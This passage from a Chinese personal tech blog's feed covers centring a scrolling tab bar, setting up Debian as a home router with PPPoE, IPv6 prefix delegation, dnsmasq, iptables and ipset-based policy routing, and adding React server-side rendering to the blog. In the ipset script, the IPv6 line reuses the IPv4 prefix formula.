<p>现在求出了两竖线之间的距离，然而我们是要调用<code>scrollTo</code>进行滚动的，所以要给出一个准确的目标值。所以我们用当前的已滚动距离加上两线距离之差就可以得出一个准确的目标值。</p>
<pre><code>const toPos = scroll.scrollLeft + size;
</code></pre>
<p>为什么是加呢？如图所示，要将黑色竖线往紫色竖线的位置移动直至重合，那么就意味着要将黑色竖线往回拉扯，也就是往左滚动增加滚动值了。</p>
<p>如果tab栏在紫色竖线左侧呢？那么上方的<code>size</code>变量将得到一个负值。加负值滚动值会变小，也就是往右滚动了。</p>
<p><img src="https://s2.loli.net/2023/01/29/ulsqNj5ToM2BciO.jpg" alt="008iiGpDly1gt9bhrn7i0j30sq0wcjv7" /></p>
<p>现在点击tab栏后，计算出需要滚动的距离，然后调用封装好的平滑滚动函数进行滚动即可。</p>
<h2>修复指示器位置</h2>
<p>虽然tab栏滚动的中间的问题解决了，然而指示器位置出现了异常。因为平滑滚动是异步函数，在滚动尚未结束时更新指示器位置的函数<code>handleUpdatePointerPos</code>就开始执行了，执行时平滑滚动函数还未执行完毕，此时<code>handleUpdatePointerPos</code>获取到的tab位置<code>dom.offsetLeft</code>是不准确的。</p>
<p>所以得在执行<code>handleUpdatePointerPos</code>时就提供准确的tab位置。</p>
<p>点击tab栏后，部分tab栏其实是不需要也不能往中间滚动的，如第一个tab和最后一个tab。所以上个章节中计算出的滚动目标有可能超出范围，所以要对其范围进行判断。</p>
<p>最小滚动范围为0，最大滚动范围则是用容器内容的总宽度减去可见区域宽度: <code>const limitScroll = scroll.scrollWidth - window.innerWidth</code>；</p>
<p>如果超出了范围，说明不需要进行滚动也不会滚动，<code>handleUpdatePointerPos</code>照常执行即可。</p>
<p>如果没有超出范围，则计算相应的值。<code>handleUpdatePointerPos</code>函数中<code>用tab栏相对于滚动容器左侧距离加上当前tab栏宽度的一半数值</code>在此时相当于就是屏幕中线，所以用<code>toPos + window.innerWidth / 2</code>计算即可。</p>
<p>为了获取相应数值，将<code>handleUpdatePointerPos</code>移动到滚动tab函数的最后一部分。</p>
<pre><code>{
    ...,
    handleScrollNavToCenter() {
        ...

        let v = toPos &gt; 0 &amp;&amp; toPos &lt; limitScroll ? toPos + halfScreenWidth : null;
            // 计算滚动完成后元素相对于滚动容器的x轴位置

        this.handleUpdatePointerPos(v);
    },
    handleUpdatePointerPos(v) {
        const dom = this.$refs.navs[this.activeNavIdx];
        this.pointerX = (v ? v : (dom.offsetLeft + dom.offsetWidth / 2)) - this.pointerWidth / 2;
    },
}
</code></pre>
<h2>平滑滚动</h2>
<p>这个函数是以前封装好直接拿过来用的，在此就不再赘述了。</p>
<p>主要思想就是每次滚动剩余滚动距离的一个固定比例(如一半)，然后在剩余滚动距离小于某个阈值时停止滚动。为了平滑滚动的效果，一般是跟随屏幕刷新率进行滚动。</p>
<p>用<code>window.requestAnimationFrame</code>可以完美实现，如果浏览器不支持<code>requestAnimationFrame</code>可以用<code>setTimeout</code>进行实现，定时时间用1s === 1000ms / 屏幕刷新率(一般为60hz) ≈ 17ms即可。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2021-05-30T22:10:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[使用Debian做路由器]]></title>
        <id>https://vhvy.me/2019/09/06/%E4%BD%BF%E7%94%A8Debian%E5%81%9A%E8%B7%AF%E7%94%B1%E5%99%A8/</id>
        <link href="https://vhvy.me/2019/09/06/%E4%BD%BF%E7%94%A8Debian%E5%81%9A%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
        <updated>2019-09-06T08:57:00.000Z</updated>
        <summary type="html"><![CDATA[以前一直使用RouterOS，最近更新之后遇到了一些严重的BUG，决定把它换成Linux，免费并且可以顺便学习一下Linux。Debian作...]]></summary>
        <content type="html"><![CDATA[<h2>计划</h2>
<p>以前一直使用RouterOS，最近更新之后遇到了一些严重的BUG，决定把它换成Linux，免费并且可以顺便学习一下Linux。</p>
<p>Debian作为最正统的发行版，我对它一直很有好感，前几天Debian 10刚好也发布了，那么就选它吧！</p>
<p>开工之前先要明确目标，不然就是瞎干了。</p>
<p>查了半天资料后整理出来以下：</p>
<pre><code>* Debian 路由器是核心路由器，只关心数据的转发，不做任何其他事情。
* `pppoeconf`实现PPPoE拨号上网。
* `wide-dhcpv6-client`从运营商那里获取IPv6前缀。
* `ipset`建立国内IP地址集合，以供iptables使用。
* `iptables`进行NAT以及对非国内地址的连接进行标记，供`ip rule(策略路由)`使用。
* `dnsmasq`作为DNS服务器以及DHCP服务器。
</code></pre>
<h2>开工</h2>
<p>我是在ESXI中运行路由系统的，安装过程不再赘述，这些都是基本操作了。</p>
<p>我先大概描述一下我的网络环境，诸位观看(真的有人吗?)理解时也会更容易。</p>
<p>暂时是用RouterOS上网的，等Debian 配置完成后就会关闭RouterOS，使用Debian作为网关路由器。</p>
<p><img src="/data/images/2019-09-0610.33.28.png" alt="img" /></p>
<p>建议刚装完时先连接上别的网络，因为需要安装各种包以及更新。等<code>pppoe</code>连接上以后就可以直接使用<code>pppoe</code>上网了，</p>
<p>开启免密登录，不然每次输入密码登录debian非常麻烦，在自己的电脑上生成自己的key，然后cat ~/.ssh/id_rsa.pub，复制之后切换到Debian的终端，然后</p>
<pre><code>echo "你的key" &gt;&gt; ~/.ssh/authorized_keys
</code></pre>
<p>安装完成后先换源，建议使用清华源，切换到root然后<code>apt update &amp;&amp; apt upgrade &amp;&amp; apt install sudo</code>三连警告。</p>
<p>一些常用工具装上，方便调试。</p>
<pre><code>apt install dnsutils wget curl vim
</code></pre>
<p>Debian 10安装完成后普通用户是没有sudo权限的，我们需要去给它加上sudo权限。虽然待会安装过程中全程使用root账户，但是还是加上舒服一点。</p>
<p>切换到root账户，然后输入visudo，添加一行代码，顺便把默认编辑器改成vim。</p>
<pre><code>Defaults        editor=/usr/bin/vim  # 改成这样

...

root    ALL=(ALL:ALL) ALL # 没错就是在这行下面👇添加
user    ALL=(ALL:ALL) ALL # user替换成你的用户名
</code></pre>
<p>安装的vim默认开启了可视化，想用鼠标复制个东西很困难，所以需要关闭vim可视化，在<code>/etc/vim/vimrc</code>最后添加两行代码:</p>
<pre><code>set mouse=
set ttymouse=
</code></pre>
<p>接下来设置网卡IP地址:</p>
<pre><code>vim /etc/network/interface

auto eth1
iface eth1 inet static
    address 10.1.1.254/24
    gateway 10.1.1.233 # 这行只是为了临时上网，待pppoe设置完成之后删除这行

iface eth1 inet6 
    address dd11:1111:1111::1/48

</code></pre>
<p>接下来需要开启内核转发，<code>vim /etc/sysctl.conf</code></p>
<p>添加如下内容：</p>
<pre><code>net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1
net.ipv6.conf.ppp0.accept_ra=2
</code></pre>
<p>然后执行<code>sysctl -p /etc/sysctl.conf</code></p>
<h2>PPPoE</h2>
<p>首先需要安装<code>pppoeconf</code>来进行pppoe拨号：</p>
<pre><code>apt install pppoeconf
</code></pre>
<p>安装过程中会出现设置向导，按照指引输入账号密码和对应的网卡接口就可以设置完成。</p>
<p>设置完成后输入<code>ip a</code>就可以看到<code>pppoe</code>已经成功拨号。</p>
<p><img src="/data/images/WX20190906-114940@2x.png" alt="img" /></p>
<p>此时它会在<code>/etc/ppp/peers/</code>下生成一个<code>dsl-provider</code>文件，里面包含了拨号用的各种配置信息。</p>
<p>此时我们可以用<code>pon dsl-provider</code>和<code>poff</code>进行<code>pppoe</code>的连接和断开，但是这么做也太不优雅了，而且以后管理起来也不甚方便，所以我们为它制作一个<code>systemd</code>服务。</p>
<p>首先删除<code>/etc/network/interface</code>文件里pppoe自动添加的配置，由于我已经删掉了相关代码片段，所以就无法上图了，诸位自行删除就好，以<code>auto ppp0</code>开头的就是，同时旁边有注释表明此段配置信息由<code>pppoeconf</code>自动生成。</p>
<p>删除后我们来制作<code>pppoe.serivce</code>：</p>
<pre><code>vim /etc/systemd/system/pppoe.service
</code></pre>
<p>内容如下：</p>
<pre><code>[Unit]
Description=PPPoE connection
Before=wide-dhcpv6-client.service
[Service]
Type=oneshot
RemainAfterExit=true
ExecStart=/usr/bin/pon dsl-provider
ExecStop=/usr/bin/poff -a

[Install]
WantedBy=default.target
</code></pre>
<p>文件里<code>[Unit]</code>字段中的<code>Before=wide-dhcpv6-client.service</code>是为了让<code>pppoe.serive</code>在请求ipv6前缀服务之前启动，否则请求ipv6前缀服务会失败，我们下面会详细讲解。</p>
<p>写入之后用<code>systemctl daemon-reload </code>命令重新加载systemd，此时就可以用<code>systemctl start pppoe</code>和<code>systemctl stop pppoe</code>进行管理了，另外这里记得使用<code>systemctl enable pppoe</code>使它开机自启动。</p>
<p>现在我们就可以将<code>/etc/network/interface</code>中网关那一行删掉了，现在我们不需要它就可以上网了。</p>
<h2>请求IPv6前缀</h2>
<p>首先要安装相应的包：<code>apt install wide-dhcpv6-client</code>，然后为修改配置文件：</p>
<pre><code>vim /etc/wide-dhcpv6/dhcp6c.conf
</code></pre>
<p>内容如下：</p>
<pre><code>interface ppp0 {
    send ia-pd 0;
};

id-assoc pd 0 {
    prefix-interface eth0 {
        sla-id 1;
        sla-len 0;
    };
};
</code></pre>
<p>上述配置文件中<code>eth0</code> 是我用来拨号的物理接口，<code>sla-len</code>视前缀情况而定，总之这个数字和你的前缀相加要等于64，电信给我的前缀是<code>::/64</code>，我这里就填0；如果你的是<code>::/56</code>，那么你这里就填8;</p>
<p>接下来使用<code>systemctl start wide-dhcpv6-client</code>进行获取前缀，待命令执行结束使用<code>ip a</code>命令就可以看到ipv6地址已经下发成功。</p>
<p>使用<code>systemctl enable wide-dhcpv6-client</code>实现开机自启动，但是我这里有点坑，重启后发现这个服务会启动失败，查看失败原因是因为<code>ppp0</code>接口不存在?!</p>
<p>可是我明明写了<code>Before</code>让这个服务在<code>pppoe</code>服务之后启动，用了一些其他技巧也着实证明了启动顺序没错，百思不得其解之后我用了最简单粗暴的方法-<code>延时启动</code>。</p>
<pre><code>vim /etc/init.d/wide-dhcpv6-client
</code></pre>
<p>在启动脚本之前让它睡上8秒:</p>
<pre><code>STOP_RETRY_SCHEDULE='TERM/20/forever/KILL/1'

. /lib/lsb/init-functions

test -x $DHCP6CBIN || exit 0

sleep 8  # 没错，就是在这里念咒语让它睡8秒。

if [ ! -f /etc/default/wide-dhcpv6-client ]; then
    exit 0
else
    . /etc/default/wide-dhcpv6-client
fi
</code></pre>
<p>现在，开机之后可以正常请求到IPv6前缀了。</p>
<p>电信很多地方每隔48或者72小时会强行掉线一次，之后我们又需要手动重启<code>wide-dhcpv6-client</code>服务，所以我们搞个脚本让它凌晨2点自动重新拨号并获取IPv6前缀。</p>
<pre><code>
vim /root/tools/autoConnect.sh


#!/bin/bash
systemctl restart pppoe
systemctl restart wide-dhcpv6-client
</code></pre>
<p>然后使用<code>crontab -e</code>添加脚本:</p>
<pre><code>0 2 * * * /bin/bash /root/tools/autoConnect.sh
</code></pre>
<h2>dnsmasq</h2>
<p>首先安装<code>dnsmasq</code>：</p>
<pre><code>apt install dnsmasq
</code></pre>
<p><code>dnsmasq</code>的配置文件放在<code>/etc/dnsmasq.d</code>下面，以<code>.conf</code>结尾的配置文件会被<code>dnsmasq</code>解析，而<code>dnsmasq</code>的配置模版文件在<code>/etc/dnsmasq.conf</code>，关于配置文件我就不再赘述，网上有很多详解，我这里展示一下我的配置文件。</p>
<pre><code>cat /etc/dnsmasq.d/custom.dnsmasq.conf
</code></pre>
<p>内容如下：</p>
<pre><code>interface=eth1
bind-interfaces
dhcp-range=eth1,10.1.1.100,10.1.1.140,255.255.255.0,12h
dhcp-range=eth1,::1,constructor:eth1,ra-names,12h
listen-address=127.0.0.1,10.1.1.254,dd78:1111:1111::1,::1
port=53
server=1.2.4.8
server=114.114.114.114
enable-ra

# Option
dhcp-option=option:netmask,255.255.255.0
dhcp-option=option:router,10.1.1.254
dhcp-option=option:dns-server,10.1.1.254,1.2.4.8,114.114.114.114
dhcp-option=option6:dns-server,[dd78:1111:1111::1]
</code></pre>
<p>现在我们可以将RouterOS关闭了，debian已基本配置完成，我们设置NAT之后就可以上网了。</p>
<p>使用<code>systemctl restart dnsmasq</code>重新启动dnsmasq，开机启动服务的指令相比我也不用在重复了。</p>
<h2>iptables</h2>
<p>电脑现在还不能上网，先配置两条规则，让电脑可以上网：</p>
<pre><code>iptables -t nat -A POSTROUTING -s 10.1.1.0/24 -o ppp0 -j MASQUERADE
ip6tables -t nat -A POSTROUTING -s dd78:1111:1111::/48 -j MASQUERADE
</code></pre>
<p>iptables规则生成之后是在内存里的，重启之后会失效，我们需要一个守护程序来保存iptables规则，并且在开机时恢复规则。</p>
<pre><code>apt install iptables-persistent
</code></pre>
<p>然后我们将规则保存在这里：</p>
<pre><code>iptables-save &gt; /etc/iptables/rules.v4
ip6tables-save &gt; /etc/iptables/rules.v6
</code></pre>
<p>将此服务设置为开机启动后，它会自动从这两个文件读取配置信息。</p>
<p>另外<code>iptables-persistent</code>安装后用systemctl管理时，名称为<code>netfilter-persistent</code>，我刚开始设置开机启动时提示没有这个服务也是摸不着头脑，查了半天才知道安装之后是叫这个名字。</p>
<h2>ipset</h2>
<p>现在基本配置完成，但是我们需要分流国内外流量，将国外IP流量定向至另一条线路进行加速，所以我们需要用ipset维护一个国内IP列表。</p>
<p>首先安装ipset:</p>
<pre><code>apt install ipset
</code></pre>
<p>首先创建一个非公网地址的列表，后面有用得到，代码如下：</p>
<pre><code>ipset create localIPv4 hash:net
ipset add localIPv4 10.0.0.0/8
ipset add localIPv4 172.16.0.0/12
ipset add localIPv4 192.168.0.0/16
ipset add localIPv4 100.64.0.0/10

ipset save &gt; /etc/ipset/ipset.conf  # 保存到文件里
</code></pre>
<p>ipset列表保存之后保存在内存里，我们需要一个服务来让它开机读取文件恢复列表。</p>
<p>代码如下:</p>
<pre><code>vim /etc/systemd/system/ipset.service


[Unit]
Description=ipset persistent rule service
Before=iptables.service netfilter-persistent.service
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/sbin/ipset restore -f /etc/ipset/ipset.conf
ExecStop=/usr/sbin/ipset save &gt; /etc/ipset/ipset.conf
[Install]
WantedBy=multi-user.target
</code></pre>
<p>然后systemctl三连:</p>
<pre><code>systemctl daemon-reload
systemctl enable ipset
systemctl start ipset
</code></pre>
<p>还需要将中国大陆的IP段写入ipset，这里我搞了个脚本，可以直接拿去使用。</p>
<pre><code>#!/bin/bash

curl 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | grep CN &gt; /tmp/cnIP.txt

# Test IPv4 list

ipError="NOT"
listError="not exist"
result=$(ipset list cnIPv4 2&gt;&amp;1)

if [[ $result =~ $listError ]]
then
    ipset create cnIPv4 hash:net
    echo "cnIPv4集合不存在,已创建!"
else
    ipset flush cnIPv4
    echo "cnIPv4集合存在,已清空!"
fi

# Update IPv4 List
cat /tmp/cnIP.txt | grep ipv4 | awk -F\| '{ printf("%s/%d\n", $4, 32-log($5)/log(2)) }' &gt; /tmp/cnIPv4.txt
cat /tmp/cnIPv4.txt | while read line
do
    result=$(ipset test cnIPv4 $line 2&gt;&amp;1)
    if [[ $result =~ $ipError ]]
    then
      ipset add cnIPv4 $line
    fi
done
echo "cnIPv4更新完毕!!"
rm /tmp/cnIPv4.txt

# Test IPv6 List

result=$(ipset list cnIPv6 2&gt;&amp;1)

if [[ $result =~ $listError ]]
then
    ipset create cnIPv6 hash:net family inet6
    echo "cnIPv6集合不存在,已创建!"
else
    ipset flush cnIPv6
    echo "cnIPv6集合存在,已清空!"
fi

# Update IPv6 List
cat /tmp/cnIP.txt | grep ipv6 | awk -F\| '{ printf("%s/%d\n", $4, 32-log($5)/log(2)) }' &gt; /tmp/cnIPv6.txt
cat /tmp/cnIPv6.txt | while read line
do
    result=$(ipset test cnIPv6 $line 2&gt;&amp;1)
    if [[ $result =~ $ipError ]]
    then
        ipset add cnIPv6 $line
    fi
done
echo "cnIPv6更新完毕!!"
rm /tmp/cnIPv6.txt
rm /tmp/cnIP.txt

# Save to files
ipset save &gt; /etc/ipset/ipset.conf
echo "ipset已写入文件!!!"
</code></pre>
<h2>策略路由</h2>
<p>内网有一台代理服务器，我们将所有去往国内的流量全部交给这台代理服务器，这里就需要做策略路由。</p>
<p>同时因为为了防止浪费流量，只将需要加速的设备流量转发给代理服务器，所以还需要维护一个ipset列表，将这些设备IP地址放进去。</p>
<p>代码如下：</p>
<pre><code>ipset create goWorld hash:net
ipset add goWorld 10.1.1.22  ##自行输入你的设备ip地址
</code></pre>
<p>然后添加一个路由表：</p>
<pre><code>vim /etc/iproute2/rt_tables


252 goProxy
</code></pre>
<p>局域网代理服务器地址为10.1.1.88。</p>
<p>然后添加一条路由：</p>
<pre><code>ip route add default via 10.1.1.88 table goProxy
</code></pre>
<p>然后在iptables防火墙里对这些设备流量进行标记，并将这些设备的dns请求转发给代理服务器：</p>
<pre><code>iptables -t mangle -A PREROUTING -m set --match-set goWorld src -m set ! --match-set localIPv4 dst -m set ! --match-set cnIPv4 dst -j MARK --set-mark 20

iptables -t nat -A PREROUTING -p udp --dport 53 -m set --match-set goWorld src -j DNAT  --to-destination 10.1.1.88:53

</code></pre>
<p>记得用<code>iptables-save &gt; /etc/iptables/rules.v4</code>进行保存！</p>
<p>然后添加策略路由:</p>
<pre><code>ip rule add fwmark 20 table goProxy
</code></pre>
<p>需要注意这些路由也是保存在内存的，为了让它永久生效，需要将它写进网卡配置文件里：</p>
<pre><code>vim /etc/network/interface

...

auto eth1
iface eth1 inet static
    address 10.1.1.254/24
    up ip route add default via 10.1.1.88 table goProxy
    down ip route del default via 10.1.1.88 table goProxy
    up ip rule add fwmark 20 table goProxy
    down ip rule del fwmark 20 table goProxy
</code></pre>
<p>现在，去往国外的流量就全部走了代理服务器，安装npm包的时候再也不用等个十分钟啦！万岁！</p>
<h2>ip6tables</h2>
<p>ipv6代理和ipv4是一个套路，我就不再赘述了。</p>
<p>另外我IPv6的代理搭建完毕后，发现速度还是非常差劲，不如IPv4，我就直接不用IPv6了。</p>
<p>注意这里的IPv6不是说完全不用，只是在防火墙上将去往国外的IPv6流量全部reject掉，这样程序就会乖乖的使用IPv4，而国内IPv6速度尚可，完全不用关闭它。</p>
<p>return这里我实验了很多次才调试好，很多程序在使用防火墙drop时会立刻回落到IPv4，有些程序在reject时才会立刻回落到IPv4，搞得人很是头大，最后的试验出的具体规则如下：</p>
<pre><code>ip6tables -A FORWARD -m set ! --match-set cnIPv6 dst ! -d dd78:1111:1111::/48 -j REJECT --reject-with icmp6-adm-prohibited
</code></pre>
<h2>DDNS</h2>
<p>这里我也写了一个现成的shell脚本，我放在了<a href="https://github.com/vhvy/namesilo-ddns">github</a>上，有需要请自取。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2019-09-06T08:57:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[博客已启用服务端渲染]]></title>
        <id>https://vhvy.me/2019/08/18/%E5%8D%9A%E5%AE%A2%E5%B7%B2%E5%90%AF%E7%94%A8%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93/</id>
        <link href="https://vhvy.me/2019/08/18/%E5%8D%9A%E5%AE%A2%E5%B7%B2%E5%90%AF%E7%94%A8%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93/"/>
        <updated>2019-08-18T09:32:00.000Z</updated>
        <summary type="html"><![CDATA[何为服务端渲染？英文简称SSR，全名Server Side Render。提到SSR，就不得不提SPA，全名Single Page Appl...]]></summary>
        <content type="html"><![CDATA[<h2>SPA</h2>
<p>何为服务端渲染？英文简称SSR，全名Server Side Render。</p>
<p>提到SSR，就不得不提SPA，全名Single Page Applaction，即单页面应用程序。</p>
<p>在以前没有出现SPA的岁月里，所有的网页都是由服务端将数据填充进模版，然后直接将html字符串发送给浏览器。</p>
<p>所有的操作都在服务端进行，浏览器只负责一些很简单的交互，服务端压力过大，而且每次跳转到别的页面都需要刷新页面，体验非常差劲。</p>
<p>前端在整个业务部门缺少话语权，因为只是写写页面，这大概就是<code>切图仔</code>称号的由来。</p>
<p>再到了后来，出现了Ajax技术，并由Google发扬光大。Ajax可以异步局部修改页面，大大提高了页面的浏览体验。</p>
<p>SPA技术按照WIKI百科的说法，最早在2003年就讨论过相关的概念，但是直到最近几年，移动互联网的井喷，才使的SPA技术爆发式发展。</p>
<p>SPA的出现，服务端再也不用去填充模版生成字符串，而只是简单的将打包好的js文件和初始的html文件发送到浏览器，浏览器使用js代码来操作页面的修改与跳转，然后使用API与服务端进行通讯。</p>
<p>同时因为前端路由技术的出现，可以使页面无刷新进行跳转，假以时日体验接近原生App也不是没有可能。</p>
<h2>尴尬的SSR</h2>
<p>SPA的体验上去了，现在又出现了另外的两个问题 --- SEO和首页白屏问题。</p>
<p>SEO也就是搜索引擎优化，搜索引擎的爬虫对页面进行爬取然后进行收录，这在SPA没有出现的岁月里很简单，爬虫直接读取服务端发送过来的HTML文件就可以了。</p>
<p>SPA出现之后，爬虫直接读取服务端发送的HTML的方法行不通了。因为此时服务端发过来的HTML文件页面内容是空白的，尚待浏览器执行js代码生成页面。</p>
<p>我的博客在我今天上线SSR之前是完全的SPA应用，但是在google里已经可以搜索到一些二级页面了，这证明了Google搜索引擎的爬虫目前已经有了执行js代码爬取页面内容的能力(百度尚不清楚)。</p>
<p>但是目前搜索引擎爬虫读取html并进行索引收录的方式，对SEO比较重视的SPA应用来说还是很重要的。</p>
<p>第二个问题，首页白屏问题。</p>
<p>现在的SPA都是使用API和服务端进行通讯，由于网络延迟等原因，组件加载完毕在等待服务器返回数据的时间里不可避免的会出现白屏等情况，这样一来，服务端渲染势在必行。</p>
<h2>服务端渲染</h2>
<p>服务端渲染在第一次访问时直接返回生成好的html字符串，搜索引擎爬取时可以直接爬取到完整页面，浏览器也不会有首页白屏问题，而且之后还可以像正常的SPA应用一样只使用API和服务端交互，真是棒棒哒！</p>
<p>服务端渲染生成的html字符串需要在浏览器上可以直接执行，这就需要服务端在服务器上执行一遍代码并填充然后直接发送给浏览器。</p>
<p>浏览器上可以执行的只有JS代码，这时Node.js便有了天生的优势，可以很轻松的进行同构改造，服务端和客户端使用同一套代码。</p>
<p>还等什么？ 开整！</p>
<h2>重构代码</h2>
<p>在此之前我的博客代码结构是很简单的前后分离架构，服务端只负责api，返回文章列表和其他数据。</p>
<p>客户端是用creact-react-app快速创建的，单纯的SPA应用，打包后放在nginx的静态文件目录下，所有的路由交给前端来处理。</p>
<p>接下来重构代码，由于要服务端同构，那么就不用将服务端和客户端分离开了。</p>
<p>直接新建src文件夹，然后将web和server文件夹移动进去，接下来调整细节问题。</p>
<h2>重构 - 客户端</h2>
<p>之前浏览器或者爬虫访问博客直接由nginx返回打包好的前端静态文件，现在为了服务端渲染肯定不能这么搞了，删除nginx的静态文件规则，将所有请求转发给node服务端。</p>
<pre><code>    server {
        listen 443 ssl;
        ...
        ...
        location / {
            proxy_pass http://127.0.0.1:3000;
        }
        ...
    }
</code></pre>
<p>现在由node处理所有请求了，首先需要返回生成好的html字符串，react为了解决服务端的问题，提供了<code>renderToString</code>，<code>renderToStaticMarkup</code>，<code>renderToNodeStream</code>，<code>renderToStaticNodeStream</code>这几个API。</p>
<p>在这里我使用了renderToString。</p>
<p>客户端入口文件：</p>
<pre><code>    import React from 'react';
    import ReactDOM from 'react-dom';
    import App from './App';
    import { BrowserRouter } from 'react-router-dom';
    import './index.css';

    ReactDOM.render((
        &lt;BrowserRouter&gt;
            &lt;App /&gt;
        &lt;/BrowserRouter&gt;
    ), document.getElementById('root'));
</code></pre>
<p>在服务端进行渲染，只需要将根组件渲染成字符串然后填充进模版发送出去即可。</p>
<p>同时服务端也需要获取路由信息，返回相应的路由页面和数据。</p>
<p>而<code>BrowserRouter</code>组件在服务端是获取不到路由信息的，需要使用<code>StaticRouter</code>组件并且手动提供路由信息，服务端路由信息可以用<code>req.url</code>取得。</p>
<p>另外很多组件需要使用<code>ComponentDidMount</code>或者<code>useEffect</code>进行数据获取，然而这两个API在服务端并不会运行。</p>
<p>所以需要在服务端手动提供数据给下面的组件，<code>StaticRouter</code>组件可以用<code>context</code>这个prop传递一个对象来传递数据。</p>
<p>并且为了在浏览器端第一次加载时不用再次请求数据，可以将数据写在window对象上直接发送过去。</p>
<pre><code>    import React from 'react';
    import { StaticRouter } from 'react-router-dom';
    import { renderToString } from 'react-dom/server';
    import App from '../App';

    export default function getHtml(url, postList) 
        ...
        ...

        const data = {
            postList
        };

        const body = renderToString(
            &lt;StaticRouter location={url} context={data}&gt;
                &lt;App /&gt;
            &lt;/StaticRouter&gt;
        );

        const js = `window.__initData_PostList__ = ${JSON.stringify(postList)};`
        // 将数据直接写在window对象上以便在客户端复用。
        const html = `
            &lt;!DOCTYPE html&gt;
            &lt;html lang="en"&gt;
                &lt;head&gt;
                    ...
                    &lt;​script&gt;${js}&lt;​/script&gt;
                &lt;/head&gt;
                &lt;body&gt;
                    &lt;div id="root"&gt;${body}&lt;/div&gt;
                &lt;/body&gt;
            &lt;/html&gt;
        `;
        return html;
        ...
    }
</code></pre>
<p>然后在组件里可以使用变通的方法设置数据:</p>
<pre><code>    import React, { useState, useEffect } from 'react';
    import http from '../../tools/http';

    export default function PostPage({
        staticContext
    }) {
        let __postList = [];
        if (staticContext &amp;&amp; staticContext.postList) __postList = staticContext.postList;
        // 在浏览器运行时不存在staticContext，postList为空数组。
        // 在服务端运行时postList默认值为传入的数据。
        

        const [postList, setPostList] = useState(__postList);

        useEffect(() =&gt; {
            async function getPostList() {
                const { data, status } = await http.get('/api/post');
                if (status === 200) {
                    ...
                    setPostList(data);
                }
                ...
            }

            if (window.__initData_PostList__) {
                setPostList(window.__initData_PostList__);
                delete window.__initData_PostList__;

                // useEffect在服务端并不会执行，所以含有window对象并不会报错。
                // 在浏览器第一次运行时会使用服务端传送过来的数据。
                // 之后删除此数据，防止无法重新获取数据。
            } else {
                getPostList();
            }

        }, []);

        ...

        return (
            &lt;div&gt;
                {
                    postList.map((i, index) =&gt; &lt;div key={index}&gt;{i}&lt;/div&gt;);
                }
            &lt;/div&gt;
        );
    }
</code></pre>
<h2>重构 - 服务端</h2>
<p>组件里大概就是这个样子，然而数据怎么来呢？那么就得在服务端做路由，不同的路由发送不同的数据给渲染模块。</p>
<p>示例如下：</p>
<pre><code>    import express from 'express';
    import http from '../tools/http';
    import getHtml from '../lib/getHtml';
    ...

    const app = express();

    app.get('/api', async (req, res) =&gt; {
        ...
        ...
        ...
        res.send(data);
    })

    app.get('/', async (req, res) =&gt; {
        const result = await http.get('/api/post');
        const data = await result.json();
        const html = getHtml(req.url,data);
        res.send(html);
    });

    app.get('/post/:id', async (req, res) =&gt; {
        const result = await http.get(`/api/post/${id}`);
        const data = await result.json();
        const html = getHtml(req.url, data);
        res.send(html);
    });

    ...
    app.listen(3000);

</code></pre>
<h2>结束</h2>
<p>至此，服务端渲染基本结束，其他细节留待以后继续完善了。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2019-08-18T09:32:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[博客现已用React重写]]></title>
        <id>https://vhvy.me/2019/08/08/%E5%8D%9A%E5%AE%A2%E7%8E%B0%E5%B7%B2%E7%94%A8React%E9%87%8D%E5%86%99/</id>
        <link href="https://vhvy.me/2019/08/08/%E5%8D%9A%E5%AE%A2%E7%8E%B0%E5%B7%B2%E7%94%A8React%E9%87%8D%E5%86%99/"/>
        <updated>2019-08-08T21:37:00.000Z</updated>
        <summary type="html"><![CDATA[6月份照着EYHN的博客幻想贴，用原生JS和MDUI完成了博客。到了上个月也就是7月份时打算学习React，于是准备用React重写一遍博客...]]></summary>
        <content type="html"><![CDATA[<h2>伊始</h2>
<p>6月份照着EYHN的博客<a href="https://huaji8.top">幻想贴</a>，用原生JS和MDUI完成了博客。</p>
<p>到了上个月也就是7月份时打算学习React，于是准备用React重写一遍博客。</p>
<p>看了一点React的官方文档，有点头痛，于是找到B站UP主<a href="https://space.bilibili.com/19140779">marking1212</a>翻译、<a href="https://www.youtube.com/user/programmingwithmosh">mosh</a>制作的React教程<a href="https://www.bilibili.com/video/av34619096">av34619096</a>，大致了解了React的使用方法后，开撸！</p>
<h2>Material-UI</h2>
<p>我保证Material是我这半个月来背的最熟的单词，因为这半个月我不知道搜索了多少次Material-UI相关的问题。</p>
<p>之前博客使用的是MDUI，这次决定使用很🔥的Material-UI。使用这个UI框架可是让我吃尽了苦头，很多API并没有在文档里写出来，需要自己在官网DEMO里一点点找，这一点我在Stackoverflow上也看到很多人吐槽。</p>
<h2>React</h2>
<p>React用起来非常的爽快，只关心数据的加载，再不用去操作DOM了。</p>
<p>不过在这次开始使用React之前，我只是一个学习了半年JS的编程菜鸟，完全没有使用原生JS编写完整项目的经验；哦对了，如果之前用原生JS编写的博客也算完整项目的话...</p>
<p>我很担心我赢弱的原生JS基础，会成为以后的一块绊脚石。现在的我对象这块还是非常不熟悉的，诸如工厂模式，原型链什么的。阿呀，都是过去欠下的债，现在需要一一偿还了。</p>
<p>扯远了，在开始撸码之前，发现React有了一个很有意思的新特性 --- Hooks。</p>
<p>大致过滤了一遍之后，我就全面抛弃了之前的<code>Class App extend React.Component</code>这种写法，再也不用写<code>componentDidMount</code>和<code>this.setState</code>这种啰嗦的语法了...</p>
<p>哈哈哈，开玩笑，从我大致接触React到知道Hooks特性为止，我写过的React代码不超过100行，可以说我写React就是直接用Hooks开始的。</p>
<p><code>useState</code>这个hook返回一个包含两个元素的数组，可以用解构赋值的方法将其解构出来;</p>
<pre><code>import React, { useState } from "React";

